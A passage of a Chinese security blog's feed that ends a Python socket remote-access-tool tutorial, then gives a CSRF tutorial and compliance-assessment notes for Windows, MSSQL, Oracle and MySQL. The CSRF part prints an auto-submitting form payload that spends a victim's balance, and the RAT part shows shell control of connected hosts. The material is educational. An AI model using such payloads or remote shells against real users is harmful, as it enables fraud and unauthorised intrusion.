&lt;p&gt;&lt;strong&gt;此时就可以成功进入该主机的shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/5e3b510b42-image-20231210175816519.png&quot; alt=&quot;image-20231210175816519&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;exit是用来退出该连接主机的shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;remove用来移除已连接的主机&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;同时由于是多线程，是1对多的关系，服务端可以有多个客户端进行连接，我们再连接一个客户端试试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/d04f56b504-image-20231210180219378.png&quot; alt=&quot;image-20231210180219378&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以发现又成功添入进一台主机&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4、攻击流程&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/4c2244ed63-image-20231210183041420.png&quot; alt=&quot;image-20231210183041420&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;5、番外:学习方向&lt;/h3&gt;
&lt;p&gt;​	2022年6月22日，西北工业大学发布《公开声明》称，该校遭受境外网络攻击。陕西省西安市公安局碑林分局随即发布《警情通报》，证实在西北工业大学的信息网络中发现了多款源于境外的木马和恶意程序样本，西安警方已对此正式立案调查。&lt;/p&gt;
&lt;p&gt;中国国家计算机病毒应急处理中心和360公司全程参与了此案的技术分析工作。技术团队先后从西北工业大学的多个信息系统和上网终端中提取到了木马程序样本，综合使用国内现有数据资源和分析手段，并得到欧洲、东南亚部分国家合作伙伴的通力支持，全面还原了相关攻击事件的总体概貌、技术特征、攻击武器、攻击路径和攻击源头，初步判明相关攻击活动源自于&lt;strong&gt;美国国家安全局（NSA）的“特定入侵行动办公室”（即：Office of Tailored Access Operation，后文简称“TAO”）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本系列研究报告将公布TAO对西北工业大学发起的上千次网络攻击活动中，某些特定攻击活动的重要细节，为全球各国有效发现和防范TAO的后续网络攻击行为提供可以借鉴的案例。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/fbca791719-77.jpg&quot; alt=&quot;77&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果要成为最顶级的渗透工程师&lt;strong&gt;代码审计&lt;/strong&gt;必须要学会，代码要多敲，就譬如&lt;strong&gt;多线程&lt;/strong&gt;较为优秀的&lt;strong&gt;Golang&lt;/strong&gt;语言，然后研究方向可以看看&lt;strong&gt;系统、二进制、协议&lt;/strong&gt;，&lt;strong&gt;挖系统漏洞，二进制漏洞，协议漏洞，绝对是0day中最猛的&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>CSRF 跨站请求伪造漏洞</title><link>https://wangyi187.top/posts/web-12-csrf/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-12-csrf/</guid><description>0x12 CSRF漏洞 一、CSRF基本概念 1 HTTP协议 1 无记忆性 2 Cookie机制 二、CSRF攻击原理以及条件 三、CSRF分类 1 GET型 2 POST型 四</description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x12 CSRF漏洞&lt;/h1&gt;
&lt;hr /&gt;
&lt;h3&gt;一、CSRF基本概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	CSRF（即跨站请求伪造）是指利用受害者尚未失效的身份认证信息、（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害人的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（转账，改密码等）。
	CSRF：属于业务逻辑漏洞，在服务器看来，所有请求都是合法正常的
	XSS、SQL注入等：都是属于技术漏洞
	XSS是基于客户信任服务器，而CSRF是基于服务器信任客户（经过身份验证的)
	因为CSRF攻击，会重复利用用户的 Cookie，而说到 Cookie，就得先从 HTTP 协议开始讲起。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;1&amp;gt;HTTP协议&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/1655811f75-202406192140192.jpg&quot; alt=&quot;v2-232f7826395d9e096fe7a6edc6177156_r&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;1)无记忆性&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;HTTP是一种无状态协议，即服务器不会保留与客户交易时的状态。

用户A在很短的时间间隔内向Web服务器发送了两次同样的请求，服务器并不会因为已经响应了该请求一次就不对第二次请求进行响应，因为服务器并不知道已经响应过一次该请求。

假设用户在网站A的某一个页面上已经完成了登录操作，当在该网站的另一个页面上执行的操作需要验证用户登录的时候仍然需要用户再次登录，因为HTTP并不知道你已经登录了，它不会维持你的登录状态。

因为要多次登录太过麻烦，为了让服务器能够记住用户引入了 Cookie 机制
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)Cookie机制&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/27987acf14-202406192140193.webp&quot; alt=&quot;v2-84dd5aa2e622951efff236bc5e1b7550_1440w&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	当用户访问站点的时候，站点会为该用户分配一个 Cookie 值，站点使用该 Cookie 值来标记用户，当用户浏览器接受到包含 Cookie 值得数据包后，会将 Cookie 得值取出，存放到浏览器中，随后浏览器会在发往该站点得数据包中自动得填充该 Cookie 值。Cookie 的值的填充是浏览器的行为。

当浏览器自动完成Cookie的填充，目标网站会误认为该数据包就是管理员发送的，会以管理员的权限进行相关的操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/bf9b353fc0-202406192140194.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;二、CSRF攻击原理以及条件&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/24361d80d9-202406192140196.webp&quot; alt=&quot;v2-74875be6a3bcbd97e58dc00d86f571e0_1440w&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1、用户输入账号信息请求登录A网站。

2、A网站验证用户信息，通过验证后返回给用户一个cookie

3、在未退出网站A之前，在同一浏览器中请求了黑客构造的恶意网站B

4、B网站收到用户请求后返回攻击性代码，构造访问A网站的语句

5、浏览器收到攻击性代码后，在用户不知情的情况下携带cookie信息请求了A网站。此时A网站不知道这是由B发起的。那么这时黑客就可以进行一下骚操作了！

两个条件：a 用户访问站点A并产生了cookie

b 用户没有退出A同时访问了

所以要被CSRF攻击，必须同时满足两个条件：

①登录受信任网站A，并在本地生成Cookie。

②在不登出A的情况下，访问危险网站B。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、CSRF分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CSRF(Cross-Site Request Forgery)，跟XSS漏洞攻击一样，存在巨大的危害性。

	你可以这么来理解：攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件、发消息，盗取你的账号，添加系统管理员，甚至于购买商品、虚拟货币转账等
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1)GET型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	如果一个网站某个地方的功能，比如用户修改邮箱是通过GET请求进行修改的。如：/user.php?id=1&amp;amp;email=123@163.com ，这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&amp;amp;email=abc@163.com ，然后通过各种手段发送给被攻击者，诱使被攻击者点击我们的链接，当用户刚好在访问这个网站，他同时又点击了这个链接，那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)POST型&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	在普通用户的眼中，点击网页-&amp;gt;打开试看视频-&amp;gt;购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常，但又不正常的，当然不正常的情况下，是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如：/coures/user/handler/25332/buy.php 。通过提交表单，buy.php处理购买的信息，这里的25532为视频ID。那么攻击者现在构造一个链接，链接中包含以下内容
	
&amp;lt;form action=/coures/user/handler/25332/buy method=POST&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;xx&quot; value=&quot;xx&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt; document.forms[0].submit(); &amp;lt;/script&amp;gt; 

当用户访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作，自动购买了id为25332的视频，从而导致受害者余额扣除
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、CSRF漏洞挖掘&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1、抓取一个正常请求的数据包，如果没有Referer字段和token，那么极有可能存在CSRF漏洞

2、如果有Referer字段，但是去掉Referer字段后再重新提交，如果该提交还有效，那么基本上可以确定存在CSRF漏洞。

3、利用工具进行CSRF检测。如：CSRFTESTER，CSRF REQUEST BUILDER等

使用burpsuite快速生成CSRF POC

当我们发现一个页面存在CSRF漏洞后，可以通过burpsuite快速生成攻击代码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/95f18603f2-202406192140197.jpg&quot; alt=&quot;v2-50bfa62833f0b121dfe1a603c5fcee67_r&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;点击复制html ，然后保存在本地
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/e8de25db5f-202406192140198.webp&quot; alt=&quot;v2-958bfc0e801442e6e38a9e6f4a1188a0_1440w&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;双击打开，当受害者点击就执行了我们的CSRF代码
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/2474d3b687-202406192140199.jpg&quot; alt=&quot;v2-200f714253489dfd18100de01858baa7_r&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;五、CSRF的防御&lt;/h3&gt;
&lt;h4&gt;1.验证 HTTP Referer 字段&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob&amp;amp;amount=1000000&amp;amp;for=Mallory，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件。这时，该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL，通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击，他只能在他自己的网站构造请求，当用户通过黑客的网站发送请求到银行时，该请求的 Referer 是指向黑客自己的网站。因此，要防御 CSRF 攻击，银行网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求

	这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统，不需要改变当前系统的任何已有代码和逻辑，没有风险，非常便捷

	然而，这种方法并非万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不安全。事实上，对于某些浏览器，比如 IE6 或 FF2，目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器，黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就可以通过验证，从而进行 CSRF 攻击。即便是使用最新的浏览器，黑客无法篡改 Referer 值，这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源，有些用户认为这样会侵犯到他们自己的隐私权，特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此，用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时，网站会因为请求没有 Referer 值而认为是 CSRF 攻击，拒绝合法用户的访问
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-12-csrf/ed23883f91-202406192140200.webp&quot; alt=&quot;v2-630aef75583a483764eff72ef3b7653b_1440w&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.在请求地址中添加 token 并验证(Anti-CSRF token)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求

	这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址之后，这样 URL 就变成 http://url?csrftoken=tokenvalue。而对于 POST 请求来说，要在 form 的最后加上 ，这样就把 token 以参数的形式加入请求了。但是，在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token

	该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.在 HTTP 头中自定义属性并验证&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 CSRFToken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去

	然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新，并非所有的请求都适合用这个类来发起，而且通过该类请求得到的页面不能被浏览器所记录下，从而进行前进，后退，刷新，收藏等操作，给用户带来不便。另外，对于没有进行 CSRF 防护的遗留系统来说，要采用这种方法来进行防护，要把所有请求都改为 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是不能接受的
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：Windows 主机测评</title><link>https://wangyi187.top/posts/mlps-13-windows-assess/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-13-windows-assess/</guid><description>Windows主机测评 身份鉴别 a） lusrmgr.msc 本地用户和组 secpol.msc 本地安全策略 b） secpol.msc 本地安全策略 桌面右键个性化 锁屏界面</description><pubDate>Sat, 20 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Windows主机测评&lt;/h1&gt;
&lt;h3&gt;身份鉴别&lt;/h3&gt;
&lt;p&gt;a）&lt;/p&gt;
&lt;p&gt;lusrmgr.msc --- 本地用户和组&lt;/p&gt;
&lt;p&gt;secpol.msc --- 本地安全策略&lt;/p&gt;
&lt;p&gt;b）&lt;/p&gt;
&lt;p&gt;secpol.msc --- 本地安全策略&lt;/p&gt;
&lt;p&gt;桌面右键个性化 -&amp;gt; 锁屏界面 -&amp;gt; 屏幕保护程序设置&lt;/p&gt;
&lt;p&gt;c）远程管理防窃听&lt;/p&gt;
&lt;p&gt;d）双因素认证&lt;/p&gt;
&lt;h3&gt;访问控制&lt;/h3&gt;
&lt;p&gt;三权分立&lt;/p&gt;
&lt;p&gt;系统管理员 --- Users&lt;/p&gt;
&lt;p&gt;审计管理员 --- Event Log Readers，Performance Log Users&lt;/p&gt;
&lt;p&gt;安全管理员 --- Network Configuration Operators，Access Control Assistance Operators&lt;/p&gt;
&lt;h3&gt;安全审计&lt;/h3&gt;
&lt;p&gt;secpol.msc --- 本地安全策略&lt;/p&gt;
&lt;p&gt;eventvwr.msc --- 事件查看器&lt;/p&gt;
&lt;h3&gt;入侵防范&lt;/h3&gt;
&lt;p&gt;net share --- 查看共享&lt;/p&gt;
&lt;p&gt;防火墙入站规则 --- 禁止访问高危端口，管理地址配置&lt;/p&gt;
&lt;p&gt;e）Nessus漏扫&lt;/p&gt;
&lt;p&gt;f）装杀软，病毒库最新版本&lt;/p&gt;
&lt;h3&gt;恶意代码防范&lt;/h3&gt;
&lt;p&gt;装杀软，病毒库最新版本&lt;/p&gt;
&lt;h3&gt;可信验证&lt;/h3&gt;
&lt;p&gt;不符合&lt;/p&gt;
&lt;h3&gt;数据完整性/保密性&lt;/h3&gt;
&lt;p&gt;不适用&lt;/p&gt;
&lt;h3&gt;数据备份恢复&lt;/h3&gt;
&lt;p&gt;a）备份&lt;/p&gt;
&lt;p&gt;b）异地备份&lt;/p&gt;
&lt;p&gt;c）热冗余&lt;/p&gt;
&lt;h3&gt;剩余信息保护&lt;/h3&gt;
&lt;p&gt;a）鉴别信息：账号密码&lt;/p&gt;
&lt;p&gt;本地安全策略 -&amp;gt; 本地策略 -&amp;gt; 安全选项 -&amp;gt; 启动 交互式登录: 不显示上次登录&lt;/p&gt;
&lt;p&gt;b）敏感数据：个人信息&lt;/p&gt;
&lt;p&gt;本地安全策略 -&amp;gt; 本地策略 -&amp;gt; 安全选项 -&amp;gt; 启用 关机: 清除虚拟内存页面文件&lt;/p&gt;
&lt;h3&gt;个人信息保护&lt;/h3&gt;
&lt;p&gt;不适用&lt;/p&gt;
</content:encoded></item><item><title>等保：项目流程</title><link>https://wangyi187.top/posts/mlps-04-process/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-04-process/</guid><description>等保项目流程 第一阶段：项目启动 出差计划： 准备项目材料： 第二阶段：信息系统资产分析 收集设备信息，收集系统信息，机房管理人员的表格 一定要确认资产表中的各个账户是否能够成功登</description><pubDate>Thu, 18 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;等保项目流程&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;定级：确定定级对象,以及相应安全防护等级，形成定级报告
备案：持定级报告和备案表到当地公安机关网监部门进行备案
建设整改：参照信息系统当前等级要求和标准,对信息系统进行整改加固
等级测评：委托具备测评资质的测评机构对信息系统进行等级测评，形成正式的测评报告
监督检查：向当地公安机关网监部门提交测评报告,配合完成对信息安全等级保护实施情况的检查
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第一阶段：项目启动&lt;/h3&gt;
&lt;p&gt;出差计划：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;部门部长派发任务（项目），对接甲方人员，业务机房管理人员
确认出差时间，地点，对接人
报销制度
出行：动车，滴滴，地铁，公交，大巴，住宿
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;准备项目材料：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;要一张机房拓扑，资产表，机房管理员表
问一下对方的机房信息系统的性质

电脑，网线，console线，U盘...
机房对应的设备手册

厂商售后：400
产品序列号
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第二阶段：信息系统资产分析&lt;/h3&gt;
&lt;p&gt;收集设备信息，收集系统信息，机房管理人员的表格&lt;/p&gt;
&lt;p&gt;一定要确认资产表中的各个账户是否能够成功登录&lt;/p&gt;
&lt;h3&gt;第三阶段：信息系统定级与备案&lt;/h3&gt;
&lt;p&gt;等级最终定级---由专家决定&lt;/p&gt;
&lt;p&gt;网安部拿到一个预备案号，通过测评后才能拿到一个真正的备案号&lt;/p&gt;
&lt;h3&gt;第四阶段：安全差距分析风险评估&lt;/h3&gt;
&lt;p&gt;等保测评的模拟考试（自己测评）&lt;/p&gt;
&lt;p&gt;差距评估，依据测评公司的思路，对设备和环境进行测评，得出差距评估报告，再通过差距评估报告进行安全加固和整改&lt;/p&gt;
&lt;h3&gt;第五阶段：安全加固与整改辅助&lt;/h3&gt;
&lt;p&gt;单纯的安全加固，叫厂商来解决问题&lt;/p&gt;
&lt;p&gt;已经有的业务系统，尽量不要自己修改配置&lt;/p&gt;
&lt;p&gt;开启审计功能，更新审计模块，防火墙，路由器，交换机，主干链路上的设备，尽量不要自己配置，能叫厂商改就叫厂商改&lt;/p&gt;
&lt;p&gt;如果设备没有过维保（维修保护时间），尽量叫厂商工程师过来操作，我们主要做指导&lt;/p&gt;
&lt;p&gt;如果设备过了维保，业主需要付费维修，尽量叫厂商工程师&lt;/p&gt;
&lt;p&gt;根据差距风险评估，自己先提前做一些加固（如密码策略，日志备份等），不会影响到主干链路的，如果会影响到，尽量不要自己做&lt;/p&gt;
&lt;h3&gt;第六阶段：安全复查&lt;/h3&gt;
&lt;p&gt;二次模拟考&lt;/p&gt;
&lt;h3&gt;第七阶段：现场测评&lt;/h3&gt;
&lt;p&gt;用定级备案得到的预备案号，请省内测评公司过来做测评&lt;/p&gt;
&lt;p&gt;只有具有资质的公司才能做测评，对现场环境做一个详细的评估&lt;/p&gt;
&lt;h3&gt;第八阶段：整改回复通过测评&lt;/h3&gt;
&lt;p&gt;根据测评公司厨具的测评报告，如果没有达到70分，进行整改，直到达到70分以上，并没有高危项就通过&lt;/p&gt;
&lt;p&gt;高危项 --- 一票否决权&lt;/p&gt;
&lt;p&gt;--- 通过测评后，会得到测评公司出具的纸质测评报告（一般2-3份，一份给企业，一份给公安部，一份自己留底）&lt;/p&gt;
&lt;h3&gt;第九阶段：项目验收&lt;/h3&gt;
&lt;p&gt;测评报告最终提交给网安部门 -&amp;gt; 拿到最终的成果 备案号 -&amp;gt; 信息系统允许上线&lt;/p&gt;
</content:encoded></item><item><title>等保：MSSQL 与 Oracle 测评</title><link>https://wangyi187.top/posts/mlps-16-mssql-oracle/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-16-mssql-oracle/</guid><description>mssql Windows身份验证 本地认证，通过Windows本地账户进行认证 SQL server身份验证 应用账户连接和认证，默认用户sa，无密码 WINSERVER右键属性</description><pubDate>Thu, 11 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;mssql&lt;/h2&gt;
&lt;p&gt;Windows身份验证 --- 本地认证，通过Windows本地账户进行认证&lt;/p&gt;
&lt;p&gt;SQL server身份验证 --- 应用账户连接和认证，默认用户sa，无密码&lt;/p&gt;
&lt;p&gt;WINSERVER右键属性 -&amp;gt; 安全性 -&amp;gt; √ SQL server和Windows身份验证模式&lt;/p&gt;
&lt;p&gt;开始菜单 -&amp;gt; SQL server2019配置器 -&amp;gt; SQL server网络配置 -&amp;gt; 右键协议属性 -&amp;gt; 强行加密 是&lt;/p&gt;
&lt;p&gt;密码复杂度和密码有效期：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;安全性 -&amp;gt; 登录名 -&amp;gt; 右键属性 -&amp;gt; √ 强制实施密码策略，强制密码过期（调用本地安全策略）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;连接超时：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WINSERVER右键属性 -&amp;gt; 连接 -&amp;gt; 远程查询超时值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;远程管理防窃听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL server2019配置器 -&amp;gt; SQL server网络配置 -&amp;gt; 协议右键属性 -&amp;gt; 强行加密 是
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三权分立：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;安全性 -&amp;gt; 登录名 -&amp;gt; 右键新建登录名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安全审计：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WINSERVER右键属性 -&amp;gt; 安全性 -&amp;gt; √ 失败和成功的登录，启用C2审核跟踪
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Oracle&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it oracle /bin/bash
su oracle
sqlplus /nolog
SQL&amp;gt; conn /as sysdba
Connected.	--- 连接成功

输出格式化：
 col profile for a19;
 col resource_name for a26;
 col limit for a19;
 col resource_type for a9;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;select * from dba_profiles;

PASSWORD_LIFE_TIME=90、--- 密码最大使用期限
PASSWORD_REUSE_MAX=5、 --- 密码最大重复使用次数
PASSWORD_VERIFY_FUNCTION=VERIFY_FUNCTION、 --- 密码策略选择
PASSWORD_GRACE_TIME=7。 --- 密码宽限天数
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;FAILED_LOGIN_ATTEMPTS=5、 --- 登录失败5次锁定
PASSWORD_LOCK_TIME=1 --- 锁定时间为1天

IDLE_TIME=10、--- 连接超时，分钟
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;show parameter audit;	//查看审计

audit_sys_operations=TRUE --- 开启审计功能
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：MySQL 数据库测评</title><link>https://wangyi187.top/posts/mlps-15-mysql/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-15-mysql/</guid><description>MySQL mysql u 用户名 p 密码 数据库非必要不更新 整改：</description><pubDate>Wed, 10 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;MySQL&lt;/h1&gt;
&lt;p&gt;mysql -u 用户名 -p 密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show databases;		//查看数据库
use mysql;		//进入数据库
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select user,host from mysql.user;	//查询用户信息

host --- 登录方式
localhost --- 本地登录
% --- 支持远程连接
x.x.x.x --- 使用地址x.x.x.x远程连接
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show variables like &quot;%validate_password%&quot;;		//密码复杂度
+--------------------------------------+--------+
| Variable_name                        | Value  |
+--------------------------------------+--------+
.....................................
| validate_password.length             | 8      | --- 密码最小长度
| validate_password.mixed_case_count   | 1      | --- 最少包含一个大小写字母
| validate_password.number_count       | 1      | --- 最少包含一个数字
| validate_password.policy             | MEDIUM | --- 当前执行的密码策略为中级
| validate_password.special_char_count | 1      | --- 最少包含一个特殊字符
+--------------------------------------+--------+

LOW --- 0 --- 只检查密码长度
MEDIUM --- 1 --- 检查密码长度，数字，大小写字母，特殊字符
STRONG --- 2 --- 检查密码长度，数字，大小写字母，特殊字符，字典文件

mysql&amp;gt; show variables like &apos;%lifetime%&apos;;	//密码有效期
+---------------------------+-------+
| Variable_name             | Value |
+---------------------------+-------+
| default_password_lifetime | 0     | --- 0表示永不过期
+---------------------------+-------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据库非必要不更新&lt;/p&gt;
&lt;p&gt;整改：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;set global 属性项名称 = 要修改的值;

mysql&amp;gt; set global default_password_lifetime = 90;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;show variables like &quot;%connection_control%&quot;	//登录失败处理功能
show variables like &quot;%timeout%&quot;;	//连接超时
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show variables like &apos;%have_ssl%&apos;;	//远程管理防窃听
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| have_ssl      | YES   | 符合
+---------------+-------+
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; create user &apos;用户名&apos;@&apos;登录方式&apos; identified by &apos;密码&apos;;		//创建用户
mysql&amp;gt; create user &apos;sec&apos;@&apos;localhost&apos; identified by &apos;Aa@1234.&apos;;

mysql&amp;gt; update mysql.user set user=&apos;新用户名&apos; where user=&apos;旧用户名&apos;;	//修改用户名

drop user &apos;用户名&apos;@&apos;登录方式&apos;;		//删除用户
&lt;/code&gt;&lt;/pre&gt;
